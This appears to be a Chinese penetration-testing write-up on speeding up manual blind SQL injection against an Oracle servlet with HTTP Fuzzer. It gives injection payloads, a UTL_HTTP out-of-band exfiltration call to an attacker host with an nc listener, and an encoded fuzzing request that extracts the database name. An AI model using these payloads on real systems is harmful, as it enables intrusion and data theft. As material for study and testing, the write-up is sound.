By:Think

    某天做渗透测试时遇到的,记录下来分享下,感谢导师yw的指导。基哥们勿喷!

    Author:j0k3m00n
    T00LS.NeT

    app扫到一inj如下

http://www.xxx.com/Servlet?image=8798

    打开后就一幅图,有点像ISCC2011脚本关的最后一题。不同之处在于那个需要验证referer且还有数据回显的地方,这个没有。

渗透测试记录之用 HTTP Fuzzer 辅助手工盲注 - 技术文章

    用Pangolin webcuriser havij MarathonTool 这些都注不出来,提示无法定义关键字或不是注入点。

    手工验证一下,这个看似integer型的注入其实是string的。

' and '1'='1

回显正确

' and '1'='s

回显空白

'and (select count(*) from dual)>0—正常 oracle的库

    因为没有数据返回的地方,所以union不行,试用UTL_HTTP存储过程来反弹注入一下。

    本机 nc –vvpl 8888

    Inj

'and (select count(*) from all_objects where object_name='UTL_HTTP')>0—

    正常,HTL_HTTP存在。继续。

    Inj

'and UTL_HTTP.request('http://x.x.x.x:8888/'||(select banner fromsys.v_$version where rownum=1))>0—

    回显空白,看了下nc任何数据也没收到,估计又是服务器禁止了外连。

    好吧,反弹注入是不行的了,看来就只有慢慢盲注了,但这个如果就这样手工慢慢提交下去的话,是个重口的体力活。用HTTP Fuzzer来构造一下。

    先用Live HTTP Header随便抓了个GET的包,用来构建Fuzzer里的包。

    Oracle的盲注语句这里就不多说了。

    判断当前库名

' and (select ascii(substr(sys.database_name,1,1))from dual where rownum=1)>50—

    Inj处执行后,回显正常。好,现在来构造下HTTPFuzzer的包

GET /xxx/servlet/Servlet?image=8798%27%20and%20(select%20ascii(substr(sys.database_name,1,1))%20from%20dual%20where%20rownum=1)=${Gen_1}--HTTP/1.1
Accept: */*
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR3.5.30729; .NET4.0C; .NET4.0E)
Host: www.xxx.com
Connection: Keep-Alive
Pragma: no-cache

渗透测试记录之用 HTTP Fuzzer 辅助手工盲注 - 技术文章

这里要注意几点:

    ${Gen_1}为数字型的Generator,范围从60到120(范围自定义)。

    ${Gen_1}前面用等号,而不用>或<,这样来得更直接。

GET /xxx/servlet/Servlet?image=8798%27%20and%20(select%20ascii(substr(sys.database_name,1,1))%20from%20dual%20where%20rownum=1)=${Gen_1}--HTTP/1.1

    这一句在HTTP Fuzzer里必须在同一行,否则会出错。

    遇到空格,单引号这些必须要编码,否则会错处。

    因为该inj为一张图片,注入语句错误的话回显的是空白,不返回任何数据,意味着利用这点我们不用定义Fuzzer Filters直接观察返回数据包的大小就可以很快找到正确的ascii码。点击start开始。

渗透测试记录之用 HTTP Fuzzer 辅助手工盲注 - 技术文章

    可以看到,Response size一栏,其他的都是0b,只有Gen_1=71的时候有数据。说明当前数据库名的第一个字母的ascii码值为71。

手工验证如下:

渗透测试记录之用 HTTP Fuzzer 辅助手工盲注 - 技术文章

    图片回显正常。71正确。

    Ok 成功,大大加快了手工盲注的速度。依次改变substr(xxx,1,1)来获得其他数据。后面过程毫无亮点,就恕不多说了。

Ps:像什么延时注入,破解表单等很多事情其实HTTPFuzzer都可以完成,这个就留给大家发散吧。